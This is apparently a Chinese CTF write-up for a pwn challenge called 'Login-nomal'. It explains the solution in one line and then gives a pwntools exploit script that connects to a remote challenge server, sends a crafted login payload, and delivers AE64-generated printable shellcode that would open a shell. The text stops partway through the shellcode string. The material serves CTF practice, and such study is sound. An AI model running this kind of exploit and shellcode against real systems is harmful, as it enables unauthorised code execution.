把前几天写的wp整理一下合成一篇文章发出来
Login-nomal
先进入root模式然后直接进入backdoor执行shellcode,要求shellcode是可见字符,且是用call rdx调用的,直接AE64生成一下就行
from re import L
from pwn import *
from ctypes import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
#io = process(['./pwn'],env={"LD_PRELOAD":"./libc64.so"})
#elf=ELF('./pwn')
io = remote('59.110.24.117',33320)
libc = ELF('./libc-2.33.so')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
#gdb.attach(io,'b*$rebase(0xe64)\nb*$rebase(0xe64)')
payload='opt:1 \nmsg:ro0t\r\n'
shellcode = '''
TAYAXVI31VXPP[_Hc4:14:SX-}/?w-x0An5C+{(P^14:WX-@``?-@??_-|``aP_Hc4:14:SX-]oN}-08/P5;W-vP^14:WX-@``?-@??_-|``aP_Hc4:14:SX-!/o>-uTX 5Xtp(P^14:WX-@``?